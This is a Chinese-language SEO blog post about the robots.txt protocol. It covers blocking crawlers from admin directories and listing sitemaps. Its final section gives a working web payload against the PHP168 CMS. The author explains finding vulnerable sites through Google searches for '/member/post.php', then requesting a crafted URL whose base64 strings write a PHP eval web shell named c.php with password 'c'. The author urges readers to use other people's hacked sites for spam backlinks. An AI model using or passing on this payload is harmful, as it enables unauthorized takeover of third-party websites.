現(xiàn)在幾乎所有的搜索引擎蜘蛛程序都能夠識別robots協(xié)議，盡管最近的3B大戰(zhàn)中百度跟360雙方都出現(xiàn)過不遵守robots協(xié)議的情況，但這畢竟只是特例，一般情況下robots協(xié)議還是必須要遵守的。

今天就說一下robots協(xié)議在網站優(yōu)化過程中的重要性。

首先我們要對自己優(yōu)化的網站做一個robots協(xié)議，一方面是禁止蜘蛛抓取網站的個人隱私，或者網站敏感目錄等，其實大家在沒有經歷網站被黑之前一般人不會感覺到robots協(xié)議的重要，其實很多時候黑客攻擊一個網站都是從搜索引擎入手的，比如你的網站管理路徑是/admin/而且你沒有在robots協(xié)議中注明禁止蜘蛛抓取的話，那么蜘蛛很有可能就會通過爬行抓取到你的網站管理后臺地址，這樣搜索引擎就會收錄你網站管理地址中對應的鏈接。如果你的網站存在漏洞，那么黑客就會借助搜索引擎搜索你的后臺路徑中可能存在漏洞的頁面，這也很容易暴露你網站后臺管理權限。

其次，我們做網站優(yōu)化時寫一個robots協(xié)議文件，在協(xié)議中注明網站地圖索引文件的絕對路徑可以直接通知蜘蛛按照我們編排的索引去抓取網站內容，可能實現(xiàn)更好的網站內容收錄。

最后，我們借助很多網站沒有使用robots協(xié)議這一特點，可以通過搜索引擎（尤其是谷歌）查詢到很多高質量的外鏈發(fā)布地址，這里我給大家舉一個例子，著名的開源程序PHP168中就有一個這樣的漏洞，如果使用這個開源程序的站長沒有使用robots協(xié)議限制蜘蛛抓取member目錄的話，那么我們通過谷歌查詢“/member/post.php”就能找到很多這樣的網址，然后我們把找到的網址后半截改寫成：

/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML

然后直接在瀏覽器中訪問，就會在目錄下生成一個member/c.php 密碼為c的文件。這對于我們來說可是絕佳的外鏈資源，哈哈！！

當然很多網站都有漏洞，我就不一一列舉了。